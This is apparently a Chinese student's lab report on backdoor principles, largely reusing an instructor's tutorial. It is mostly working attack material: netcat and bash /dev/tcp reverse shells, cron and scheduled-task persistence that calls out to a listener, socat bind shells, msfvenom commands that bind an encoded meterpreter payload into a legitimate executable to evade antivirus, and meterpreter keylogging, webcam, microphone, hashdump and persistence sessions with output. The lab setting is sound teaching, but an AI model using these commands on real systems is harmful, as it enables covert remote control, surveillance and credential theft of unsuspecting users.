zoukankan      html  css  js  c++  java
  • 20182213 Exp2 后门原理与实践

    MAL_简单后门

    学习内容:使用nc实现win,mac,Linux间的后门连接
    		:meterpreter的应用
    		:MSF POST 模块的应用
    学习目标:建立一个后门连接是如此的简单,功能又如此强大。通过亲手实践并了解这一事实,从而提高自己的安全意识 。
    最后编辑:20180221 Wildlinux
    
    

    1.后门概念

    后门就是不经过正常认证流程而访问系统的通道。

    哪里有后门呢?

    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

    --

    下面是近些年的一些例子:

    1. 编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
    2. 操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
    3. 操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
    4. 固件:更多思科路由器发现后门:中国有4台
    5. 应用:研究人员发现macOS版Skype内置了后门
    6. 应用:从广升“后门”事件看企业道德底线
    7. 应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

    --

    我们接下来讲得是一个相对狭义一点的后门的概念,

    • 特指潜伏于操作系统中专门做后门的一个程序,
    • “坏人”可以连接这个程序
    • 远程执行各种指令。
    • 概念和木马有重叠

    --

    
    * 首先得有这么一个程序
    	* netcat 系列
    	* meterpreter
    	* intersect 
    	* ...特别多
    * 其次得放到系统里 
    	* 正版软件故意或被攻击,包含后门
    	* 正版库文件中包含后门
    	* 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧	 
    		* 安装包中包含后门,放到网上供下载
    		* 绑定到特定文件中,放到网上供下载
    		* 直接发送恶意程序给你
    		* 直接发送攻击性钓鱼链接给你,恶意网站种马
    		* 捡到个U盘,打开个文件看看?
    	* 煤女帅锅拿U盘直接拷给你
    	* 攻击系统漏洞,获取控制权后,安装后门	
    * 再次还得运行起来
    	* 开机自启动技术
    	* win的定时任务
    	* linux的cron
    	* 伪装成常用软件,诱使用户点击
    	* 木马化正常软件
    * 最后还得不被本机的恶意代码检测程序发现
    	* 恶意代码免杀技术 
    * 也不能被本机的或网络上的防火墙发现
    	* 反弹式连接
    	* 加密连接
    	* 隧道技术
    
    

    1.基础知识问答

    1.1例举你能想到的一个后门进入到你系统中的可能方式?

    从非官方的不安全网站下载免费软件

    1.2例举你知道的后门如何启动起来(win及linux)的方式?

    win:利用任务管理器,选择触发器挑选活动进行触发,例如锁屏重启等
    linux:设置任务,利用crontab进行任务添加,最后在设定时间或是其他要求下进行反弹连接被攻击机器进行任务开始。

    1.3 Meterpreter有哪些给你映像深刻的功能?

    答:可以获取我的键盘输入,了解我输入的内容,同时可以控制我的摄像头来了解我的所作所为。

    1.4如何发现自己有系统有没有被安装后门?

    答:使用nestat -na查的时候会看到后面开的哪些端口,当开的端口大于1024尤其是4000以上的时候,可能被安装后门,因为现在的许多木马是开的动态端口。当大端口被打开时就需要注意。像鸽子的默认端口就是8000.另外你可以输入net user去查看是不是有其他的用户。如果有的话你在输入net user+这个用户名。查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是!如果你发现一个系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。

    2. 常用后门工具

    • 2.1 讲怎么用nc获取远程主机的Shell
    • 2.2 讲meterpreter怎么用。

    --

    2.1 NC 或 netcat

    1.关于netcat

    是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    --

    • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
    • Windows: 课程主页附件中下载ncat.rar解压即可使用。
    • Mac: 系统自带,"man nc",查看其使用说明。
    • 以下相关指令,实测有效。

    --

    2.1.1 Win获得Linux Shell

    以下实践Windows基本Win7-64bit, Kali2-64bit.

    1.windows 打开监听

    c:your_nc_dir>ncat.exe -l -p 8888
    

    2.Linux反弹连接win

    root@KaliYL:/var/www/html# nc 192.168.20.175 8888 -e /bin/sh
    

    3.windows下获得一个linux shell,可运行任何指令,如ls

    c:your_nc_dir>ncat.exe -l -p 8888  #这条指令是第一步中输入的,不用再输
    ls
    

    --

    2.1.2 Linux获得Win Shell

    1.Linux运行监听指令

    root@KaliYL:/var/www/html# nc -l -p 8888
    

    2.Windows反弹连接Linux

     c:your_nc_dir>ncat.exe -e cmd.exe ip_of_linux 8888
    

    3.Linux下看到Windows的命令提示

    
    root@KaliYL:/var/www/html# nc -l -p 8888 
    
     Microsoft Windows [�汾 6.1.7600]
    ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
    
     C:UsersYLWinDesktop
    cat>
     
    

    --

    2.1.3 Mac获取Win shell

    
    Mac: nc -l 8888
    
    Win: c:your_nc_dir>ncat.exe -e cmd.exe ip_of_mac 8888
    
    
    • Mac系统可以通过“-k”参数,实现连接关闭后自动重新侦听。
    • Mac系统下的nc不支持 “-e” 参数

    --

    2.1.4 Win获取Mac Shell

    1.Windows下启动监听

    Win: C:UsersYLWinDesktop
    cat>ncat.exe -l -p 8888
    

    2.Mac下连接Win

    bash -i >& /dev/tcp/ip_of_win/8888 0>&1
    

    3.Win获得Mac的shell

    C:UsersYLWinDesktop
    cat>ncat.exe -l -p 8888
    [?1034hbash-3.2$ uname -a
    Darwin localhost 14.5.0 Darwin Kernel Version 14.5.0: Mon Aug 29 21:14:16 PDT 2016; root:xnu-2782.50.6~1/RELEASE_X86_64 x86_64
    bash-3.2$
    bash-3.2$
    bash-3.2$ exit
    

    --

    2.1.5 Mac获取Linux Shell

    1.主控端/服务端MAC运行指令如下,8888是nc监听的端口号。

    MacBook-Pro:$ nc -l 8888 
    
    

    2.受控端/客户机运行指令如下。其中 192.168.1.106 需要更改为上一步中MAC主机的IP。8888就是上一步中的端口号

    root@KaliYL:/var/www/html# bash -i >& /dev/tcp/192.168.1.106/8888 0>&1
    
    

    nc IP Port -e /bin/sh 可以达到同样的效果

    3.MAC主机会显示Linux的命令行提示符,并运行任何Linux指令。

    MacBook-Pro:$ nc -l 8888 
    root@KaliYL:/var/www/html# uname -a
    uname -a
    Linux KaliYL 4.3.0-kali1-amd64 #1 SMP Debian 4.3.3-5kali4 (2016-01-13) x86_64 GNU/Linux
    
    

    --

    2.1.6 Linux获取Mac Shell

    1.Linux启动监听

    root@KaliYL:~# ifconfig
    eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.20.154  netmask 255.255.255.0  broadcast 192.168.20.255
           
    root@KaliYL:/var/www/html# nc -l -p 8888
    

    2.Mac连接Linux

    localhost:~ $ bash -i >& /dev/tcp/192.168.20.154/8888 0>&1
    

    3.Linux获取Mac Shell

    root@KaliYL:/var/www/html# nc -l -p 8888
    bash-3.2$ 
    bash-3.2$ uname -a
    Darwin localhost 14.5.0 Darwin Kernel Version 14.5.0: Mon Aug 29 21:14:16 PDT 2016; root:xnu-2782.50.6~1/RELEASE_X86_64 x86_64
    

    --

    2.1.7 Netcat扩展知识

    --

    2.1.7.1 nc传输数据

    Start by using nc to listen on a specific port, with output captured into a file:

    $ nc -l 1234 > filename.out
    

    Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

    $ nc host.example.com 1234 < filename.in
    

    After the file has been transferred, the connection will close automatically.

    --

    在主机中打开监听端口

    在kail中传输文本文件2213.txt

    文件传输成功,可以观察到在mac主机中存在文本文件2213.txt

    (1)使用netcat获取主机操作Shell,cron启动

    --

    在win主机终端使用ncat进行监听

    1.crontab指令增加一条定时任务,"-e"表示编辑。

    root@KaliYL# crontab -e
    no crontab for root - using an empty one
    
    Select an editor.  To change later, run 'select-editor'.
      1. /bin/nano        <---- easiest
      2. /usr/bin/mcedit
      3. /usr/bin/vim.basic
      4. /usr/bin/vim.gtk
      5. /usr/bin/vim.tiny
    

    --

    2.因为是第一次编辑,故提示选择编辑器,我选择了3,并添加了最后一行。简单说就是在每个小时的第43分钟执行后面的那条指令。

    Choose 1-5 [1]: 3
    crontab: installing new crontab
    # m分钟 h小时  dom日期 mon月 dow周几   command执行的命令
    38 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh
    

    --

    3.保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。

    root@KaliYL# crontab -l
    38 * * * * /bin/netcat 192.168.43.130 2213 -e /bin/sh
    

    --

    4.每个小时到了38分,上面的那条指令就会执行。

    5.如果你在另一台主机192.168.1.105让nc侦听在8090端口,那到了38分就会有获得一个shell。实测有效。这就是一个最简单的反弹式后门。你也可以开一个非反弹式的后门,如把cron指令写成"nc -l -p 8087 -e /bin/sh",你的主控机可以随时连接这个主机"nc IP 8087",就能获得shell。

    --

    到38分的时候可以从主机终端输入命令进行操作

    2.1.7.2 SoCat

    Netcat++,超级netcat工具。

    不信?自己看README

    windows版见附件。解压即用,不用安装。

    任何代理、转发等功能都可以用该工具实现。


    (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

    1.下载并解压socat软件
    2.在主机中找到左下角windows标志,然后右键->计算机管理->任务计划程

    3.在常规选项卡中填写任务名称,点击触发器然后新建触发器

    4.在操作中,在操作选项卡中导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:2213 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口2213,同时把cmd.exe的stderr重定向到stdout上),创建完成之后,点击确定。

    5.创建完成之后,按Windows(本电脑为command)+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行

    6.可以看到任务计划程序库已经开始运行的zy2213
    7.在kali中输入socat - tcp:192.168.3.26:2224(-代表标准的输入输出,第二个流连接到Windows主机的2224端口,IP为win的IP),成功获得cmd shell

    8.将meterpreter hook到其他进程上,可以看到

    2.2 Meterpreter

    测试环境: Kali2-2016.1 最后修改: 2016.08.28 wildlinux
    
    • 后门就是一个程序。
    • 传统的理解是:有人编写一个后门程序,大家拿来用。
    • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
      • 基本功能(基本的连接、执行指令)
      • 扩展功能(如搜集用户信息、安装服务等功能)
      • 编码模式
      • 运行平台
      • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

    --

    1.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    典型的平台就包括有:

    --

    我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.

    揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

    --

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    生成可执行文件命名为install.exe

    进行传输

    传输完成

    进行监听操作

    在win中运行install.exe

    kail中获取到win终端

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (0.5分)

    使用meterpreter将install.exe hook到其他进程上,防止它被关闭,此处我选择的是谷歌浏览器,档期仅当谷歌关闭时该进程才会被关闭,可以看到迁移成功

    抓个图偷个登录密码吧

    试验过程

    截图结果

    使用record_mic可以截获一段音频

    获取摄像头拍照:webcam_snap

    记录击键的过程:keyscan_start读取击键的记录:keyscan_dump

    尝试提权,失败了

    (5)加分项:使用MSF生成shellcode,注入到实践1中的pwn1中

    上传成功


    在第三个终端中打开msf控制台,依次输入:
    use exploit/multi/handler // 使用监听模块,设置payload(攻击荷载)
    set payload linux/x86/shell_reverse_tcp // 这里设置为我们下载的那个payload
    set LHOST 127.0.0.1 // 原始文件中的主机号和端口号都没改,我们默认使用
    set LPORT 4444
    show options
    exploit // 设置完成,开始监听
    在第二个终端中用(cat input_shellcode;cat) | ./pwn1运行
    这时发现第三个终端中获得了shell

    (6)实验总结与体会

    本次实验我了解到了如何通过后门获取主机信息,当主机防范不彻底的时候,例如防火墙未开启,病毒防护未开启时,通过后门不法分子可以窃取到我们的登录信息,甚至可能通过主机的摄像头获取到使用电脑人员周围身处环境周围一切信息,同时可以通过获取登录人员的照片严重危害到了登陆人员的安全,以及隐私容易被泄漏。在实验的过程中遇到了很多问题,最基础的比如我开始使用的是os系统,很遗憾没找到匹配的后门注入程序,于是转入win系统继续进行实验。在实验过程中也遇到了提权失败的问题,同时开始进行实验的时候仅仅关闭了防火墙,未关闭病毒防护,导致了生成的install.exe文件还来不急进行后门操作就被电脑清理出去无法进行后续实验。综上所述,保护电脑安全很重要,需要认真仔细保护电脑的安全,就是保护自己的安全。

    2.2.1 生成的KiTTy_backdoor.exe,复制到Win

    下面指令中用到的 ./KiTTYPortable.exe 是一个普通的windows可执行文件,被我复制了/home/YL/目录下,后门会被写到这个文件中。我做实验时用的是KiTTYPortable.exe,你可以用其他文件代替。不论用哪个可执行文件都可以,但当然需要复制到linux下了。

    root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
    
    *** 或者简单点 ***
    root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 `PORT=443 -f exe > meter_backdoor.exe
    
    

    --

    参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪个文件
    
    • 生成的文件当然需要复制到windows中了,当然十之八九杀毒软件会报警并删除该文件,因为是后门吗。所以为了验证共功能,可以临时关闭一会杀毒软件。后面我们会讲到免杀,免杀完的后门杀毒软件就不会被发现了。

    --

    2.2.2 MSF打开监听进程

    在Linux如下操作至 ‘exploit'一步;

    root@KaliYL:/home/YL# msfconsole
    
    msf > use exploit/multi/handler
    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(handler) > show options
    Module options (exploit/multi/handler):
    
    Name  Current Setting  Required  Description
     ----  ---------------  --------  -----------
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
    Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
    LHOST                      yes       The listen address
    LPORT     443              yes       The listen port
    msf exploit(handler) > set LHOST 192.168.20.136
    LHOST => 192.168.20.136
    msf exploit(handler) > exploit 
    
    [*] Started reverse TCP handler on 192.168.20.136:443 
    [*] Starting the payload handler...
    

    说明:

    1. LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.20.136;
    2. LPORT也需要和上一步生成backdoor.exe的一致,即443;
    3. payload也要一致,即windows/meterpreter/reverse_tcp。

    --

    2.2.3 在Win平台双击运行KiTTy_backdoor.exe。

    Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell:

    [*] Sending stage (957999 bytes) to 192.168.20.176
    [*] Meterpreter session 1 opened (192.168.20.136:443 -> 192.168.20.176:50169) at 2016-08-28 21:38:22 +0800
    
    meterpreter > 
    meterpreter > dir
    Listing Z:yudongPortableAppsKiTTYPortable
    *=============================================*
    
    Mode              Size    Type  Last modified              Name
    ----              ----    ----  -------------              ----
    40777/rwxrwxrwx   170     dir   2014-08-21 18:13:08 +0800  App
    40777/rwxrwxrwx   374     dir   2016-08-12 00:33:48 +0800  Data
    100777/rwxrwxrwx  173040  fil   2014-06-26 06:52:12 +0800  KiTTYPortable.exe
    100777/rwxrwxrwx  173040  fil   2016-08-28 21:26:40 +0800  KiTTy_backdoor.exe
    40777/rwxrwxrwx   136     dir   2014-08-21 18:13:13 +0800  Other
    100666/rw-rw-rw-  5347    fil   2012-06-28 09:11:58 +0800  help.html
    

    --

    2.2.4 Meterpreter常用功能

    --

    2.2.4.1 基本功能

    1.help 当然是我心中的最佳人气奖不二人选。help一输一身轻松,妈妈再也不担心我忘记指令了。当然是全E文。中文都是我输的。

    meterpreter > help
    Core Commands第一部分是核心指令
    =============
    
        Command                   Description
        -------                   -----------
        ?                         Help menu
        background                Backgrounds the current session
        bgkill                    Kills a background meterpreter script
        bglist                    Lists running background scripts
        bgrun                     Executes a meterpreter script as a background thread
        channel                   Displays information or control active channels
        close                     Closes a channel
        disable_unicode_encoding  Disables encoding of unicode strings
        enable_unicode_encoding   Enables encoding of unicode strings
        exit                      Terminate the meterpreter session
        get_timeouts              Get the current session timeout values
        help                      Help menu
        info                      Displays information about a Post module
        irb                       Drop into irb scripting mode
        load                      Load one or more meterpreter extensions
        machine_id                Get the MSF ID of the machine attached to the session
        migrate                   Migrate the server to another process
        quit                      Terminate the meterpreter session
        read                      Reads data from a channel
        resource                  Run the commands stored in a file
        run                       Executes a meterpreter script or Post module
        set_timeouts              Set the current session timeout values
        sleep                     Force Meterpreter to go quiet, then re-establish session.
        transport                 Change the current transport mechanism
        use                       Deprecated alias for 'load'
        uuid                      Get the UUID for the current session
        write                     Writes data to a channel
    
    
    Stdapi: File system Commands第二部分是文件系统相关的
    ============================
    
        Command       Description
        -------       -----------
        cat           Read the contents of a file to the screen
        cd            Change directory
        dir           List files (alias for ls)
        download      Download a file or directory
        edit          Edit a file
        getlwd        Print local working directory
        getwd         Print working directory
        lcd           Change local working directory
        lpwd          Print local working directory
        ls            List files
        mkdir         Make directory
        mv            Move source to destination
        pwd           Print working directory
        rm            Delete the specified file
        rmdir         Remove directory
        search        Search for files
        show_mount    List all mount points/logical drives
        upload        Upload a file or directory
    
    
    Stdapi: Networking Commands当然少不了网络操作的了
    ===========================
    
        Command       Description
        -------       -----------
        arp           Display the host ARP cache
        getproxy      Display the current proxy configuration
        ifconfig      Display interfaces
        ipconfig      Display interfaces
        netstat       Display the network connections
        portfwd       Forward a local port to a remote service
        resolve       Resolve a set of host names on the target
        route         View and modify the routing table
    
    
    Stdapi: System Commands系统指令
    =======================
    
        Command       Description
        -------       -----------
        clearev       Clear the event log
        drop_token    Relinquishes any active impersonation token.
        execute       Execute a command
        getenv        Get one or more environment variable values
        getpid        Get the current process identifier
        getprivs      Attempt to enable all privileges available to the current process
        getsid        Get the SID of the user that the server is running as
        getuid        Get the user that the server is running as
        kill          Terminate a process
        ps            List running processes
        reboot        Reboots the remote computer
        reg           Modify and interact with the remote registry
        rev2self      Calls RevertToSelf() on the remote machine
        shell         Drop into a system command shell
        shutdown      Shuts down the remote computer
        steal_token   Attempts to steal an impersonation token from the target process
        suspend       Suspends or resumes a list of processes
        sysinfo       Gets information about the remote system, such as OS
    
    
    Stdapi: User interface Commands用户接口,哇还可以抓取击键记录呢
    ===============================
    
        Command        Description
        -------        -----------
        enumdesktops   List all accessible desktops and window stations
        getdesktop     Get the current meterpreter desktop
        idletime       Returns the number of seconds the remote user has been idle
        keyscan_dump   Dump the keystroke buffer
        keyscan_start  Start capturing keystrokes
        keyscan_stop   Stop capturing keystrokes
        screenshot     Grab a screenshot of the interactive desktop
        setdesktop     Change the meterpreters current desktop
        uictl          Control some of the user interface components
    
    
    Stdapi: Webcam Commands 什么?Video?昨天哪位同学问我来着?测试Win7可拍摄。
    =======================
    
        Command        Description
        -------        -----------
        record_mic     Record audio from the default microphone for X seconds
        webcam_chat    Start a video chat
        webcam_list    List webcams
        webcam_snap    Take a snapshot from the specified webcam
        webcam_stream  Play a video stream from the specified webcam
    
    
    Priv: Elevate Commands提权
    ======================
    
        Command       Description
        -------       -----------
        getsystem     Attempt to elevate your privilege to that of local system.
        ***我的win7没成功***
    
    Priv: Password database Commands导出密码文件SAM
    ================================
    
        Command       Description
        -------       -----------
        hashdump      Dumps the contents of the SAM database
        ***我的win7没成功***
    
    Priv: Timestomp Commands修改文件操作时间,清理现场用
    ========================
    
        Command       Description
        -------       -----------
        timestomp     Manipulate file MACE attributes
    
    这么多好玩的指令,都想试试呢,简直停不下来。
    
    

    --

    2.获取Windows命令行界面,以方便执行Windows内置功能指令,exit退出。

    meterpreter > shell
    Process 8984 created.
    Channel 1 created.
    Microsoft Windows [�汾 6.1.7600]
    ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
    
    C:UsersYLWinDesktop>exit
    exit
    meterpreter > 
    
    

    --

    3.获取ruby交互界面,exit退出。如果你行,甚至可以用ruby直接编程(PS:我不会,所以就不多说了)。具说可以调用windows任何API。可参考《Metasploit魔鬼训练营》第九章,有一个小例子。

    meterpreter > irb
    [*] Starting IRB shell
    [*] The 'client' variable holds the meterpreter client
    >> client.sys.config.sysinfo()
    => {"Computer"=>"YLWIN-PC", "OS"=>"Windows 7 (Build 7600).", "Architecture"=>"x64 (Current Process is WOW64)", "System Language"=>"zh_CN", "Domain"=>"WORKGROUP", "Logged On Users"=>3}
    >>exit
    meterpreter >
    
    

    --

    4.玩个进程和和迁移吧,把meterpreter HOOK到其他进程上,这样就不用怕用户把当前这个进程关闭了。

    
    meterpreter > ps
    
    Process List
    ============
    
     PID   PPID  Name                          Arch  Session  User            Path
     ---   ----  ----                          ----  -------  ----            ----
     0     0     [System Process] 
     ...会有好多进程,我就略过了...  
     4312  9376  iexplore.exe                  x86   1        YLWin-PCYLWin  C:Program Files (x86)Internet Exploreriexplore.exe 发现IE,就迁移到它吧。
    
    meterpreter > migrate 4312
    [*] Migrating from 8656 to 4312...
    [*] Migration completed successfully.
    meterpreter > getpid
    Current pid: 4312  耶,成功!
    meterpreter > 
    
    *** PS: 在windows下,以管理员权限运行"命令行",输入"netstat -bn",可以查看是哪个exe在连接meterpreter ***
    
    

    --

    5.抓个图,偷个登陆密码啥的吧

    meterpreter > screenshot
    Screenshot saved to: /usr/share/intersect/Scripts/rWjouIAU.jpeg
    
    *** 打开jpeg看看,能发现什么 ***
    
    meterpreter > ps
    
    Process list
    =================
    
    PID Name         Path
    --- ----         ----
    401 winlogon.exe C:WINNTsystem32winlogon.exe
    
    meterpreter > migrate 401
    
    [*] Migrating to 401...
    [*] Migration completed successfully.
    
    meterpreter > keyscan_start
    Starting the keystroke sniffer...
    
    **** 过了一会,隔壁的管理员来了,很自然登陆了系统看看... ****
    
    meterpreter > keyscan_dump
    Dumping captured keystrokes...
    Administrator ohnoes1vebeenh4x0red!
    
    *** 想窃听哪个进程,得先迁移过去哦 ***
    
    

    --

    2.2.4.2 后渗透攻击模块POST

    MSF自带非常多的POST模块,这些模块都可以在meterpreter下使用。所谓POST模块,也就是在获得系统初步控制权后可能用到的攻击模块。

    ***  针对Windows的POST模块主要有以下一些,这些既是目录名,其实也相当于是POST模块的类型 ***
    root@KaliYL:/usr/share/metasploit-framework/modules/post/windows# ls
    capture  escalate  gather  manage  recon  wlan
    ***信息抓取 提权 信息搜集 管理 recon 无线 ***
    
    

    --

    POST使用很简单,在获取meterpreter会话后,会两条基本指令:info 查看POST的说明,run 运行POST,即可。具体有哪些POST可用,可以进到上面那些目录中看。

    *** 这个POST是用来检查被控机是否是虚拟机 ***
    meterpreter > info post/windows/gather/checkvm 
    
    Basic options:
      Name     Current Setting  Required  Description
      ----     ---------------  --------  -----------
      SESSION                   yes       The session to run this module on.
    
    Description:
      This module attempts to determine whether the system is running 
      inside of a virtual environment and if so, which one. This module 
      supports detectoin of Hyper-V, VMWare, Virtual PC, VirtualBox, Xen, 
      and QEMU.
    
    *** run ***
    meterpreter > run post/windows/gather/checkvm 
    
    [*] Checking if YLWIN-PC is a Virtual Machine .....
    [*] This is a VMware Virtual Machine
    meterpreter > 
    
    ***试着导出密码呢!提示需要SYSTEM权限才可以!建议是migrate到一个服务进程试试!试了几个迁移失败。***
    meterpreter > run post/windows/gather/hashdump
    
    [*] Obtaining the boot key...
    [*] Calculating the hboot key using SYSKEY e791bff46194c82f87e08b89c249535b...
    [-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
    [-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
    
    ***试试键盘记录***
    meterpreter > run post/windows/capture/keylog_recorder 
    
    [*] Executing module against YLWIN-PC
    [*] Starting the keylog recorder...
    [*] Keystrokes being saved in to /root/.msf4/loot/20161026094348_default_192.168.20.145_host.windows.key_150214.txt
    [*] Recording keystrokes...
    ***CTL+C 结束记录***
    ^C[*] User interrupt.
    [*] Shutting down keylog recorder. Please wait...
    meterpreter > 
    
    ***都在这个文件中了:/root/.msf4/loot/20161026094348_default_192.168.20.145_host.windows.key_150214.txt
    ***
    
    

    --

    2.2.4.3 安装Meterpreter(Persistence)到目标机

    两种方式《Metasploit魔鬼训练营》411页有。

    1.run persistence

    *** 一定学会看帮助 ***
    meterpreter > run persistence -h
    Meterpreter Script for creating a persistent backdoor on a target host.
    
    OPTIONS:
    
        -A        Automatically start a matching exploit/multi/handler to connect to the agent
        -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
        -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
        -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
        -T <opt>  Alternate executable template to use
        -U        Automatically start the agent when the User logs on
        -X        Automatically start the agent when the system boots
        -h        This help menu
        -i <opt>  The interval in seconds between each connection attempt
        -p <opt>  The port on which the system running Metasploit is listening
        -r <opt>  The IP of the system running Metasploit listening for the connect back
    
    ***试试,不成功,因为最后没有成功的输出 ***
    meterpreter > run persistence -U -i 5 -p 443 -r 192.168.20.136 
    [*] Running Persistence Script
    [*] Resource file for cleanup created at /root/.msf4/logs/persistence/YLWIN-PC_20161026.0846/YLWIN-PC_20161026.0846.rc
    [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443
    [*] Persistent agent script is 99614 bytes long
    meterpreter > 
    
    
    

    --

    2.run metsvc

    ***不成功,可能原因是:当前进程没有SYSTEM权限。归结到一个问题:如何提权?***
    meterpreter > run metsvc
    [*] Creating a meterpreter service on port 31337
    meterpreter > 
    
    

    --

    3.其他

    对于我们这种场景就简单了,应用已经在系统时了,让它自启动就可以了。加计划任务,或手工修改注册表的可以。


    3 后门启动

    --

    3.1 Windows

    3.1.1 Windows->控制面板->管理工具->任务计划程序

    新建任务计划

    触发器

    当锁定任何用户的工作站时
    

    操作->程序或脚本

    c:UsersYLWinDesktop
    cat
    cat.exe
    

    操作->添加参数:

    -e cmd.exe 192.168.1.105 8080
    

    在主控机192.168.1.105:8080上打开nc,每当受控机用户锁定时,都会连接到192.168.1.105:8080.实测有效。

    --

    3.1.2 开机启动

    3.1.3 安装为服务

    3.1.4 和其他文件捆绑

    --

    3.1.5 powershell

    powershell是微软的增强shell,在现在发行的Windows(如Win7)都内置了。你可以在"运行"中输入"powershell",就会得到一个和cmd.exe窗口看起来一样的东东。不过它支持几乎所有的Windows操作。凡是图形界面可以做的,powershell下都可以做。也支持脚本编程。

    一个副作用就是,powershell脚本写成恶意代码,杀毒软件几乎检测不出来(可能是用的少,杀毒软件不检测)。

    powershell下也有类似netcat的powercat。可以做后门。

    --

    3.2 Linux

    3.2.1 cron

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

    --

    1.crontab指令增加一条定时任务,"-e"表示编辑。

    root@KaliYL# crontab -e
    no crontab for root - using an empty one
    
    Select an editor.  To change later, run 'select-editor'.
      1. /bin/nano        <---- easiest
      2. /usr/bin/mcedit
      3. /usr/bin/vim.basic
      4. /usr/bin/vim.gtk
      5. /usr/bin/vim.tiny
    

    --

    2.因为是第一次编辑,故提示选择编辑器,我选择了3,并添加了最后一行。简单说就是在每个小时的第43分钟执行后面的那条指令。

    Choose 1-5 [1]: 3
    crontab: installing new crontab
    # m分钟 h小时  dom日期 mon月 dow周几   command执行的命令
    43 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh
    

    --

    3.保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。

    root@KaliYL# crontab -l
    43 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh
    

    --

    4.每个小时到了43分,上面的那条指令就会执行。

    5.如果你在另一台主机192.168.1.105让nc侦听在8090端口,那到了43分就会有获得一个shell。实测有效。这就是一个最简单的反弹式后门。你也可以开一个非反弹式的后门,如把cron指令写成"nc -l -p 8087 -e /bin/sh",你的主控机可以随时连接这个主机"nc IP 8087",就能获得shell。

    --

    3.2.2 各种启动脚本

    Linux启动中的运行的脚本

    3.2.3 和其他文件捆绑

    上届免考


    4 隧道技术

    DNS Tunnel


    5 恶意代码免杀技术

    Veil Evasion


    6 参考

    UNIX后门NOPEN ---
    title: "Markdown slide"
    theme: "beige"
    author: Wildlinux
    date: Feb 20, 2018
    output: revealjs::revealjs_presentation

  • 相关阅读:
    curl.class.php方便使用
    php发送邮件
    php部分被弃用方法的代替方法
    正则表达式匹配
    php xml常用函数的集合及四种方法
    PHP5中使用PDO连接数据库的方法
    http协议的状态码
    MySQL数据库中的Date,DateTime和TimeStamp类型
    php中json_decode()和json_encode()的使用方法
    UIIabel自适配高度
  • 原文地址:https://www.cnblogs.com/Mellivorac/p/14586227.html
Copyright © 2011-2022 走看看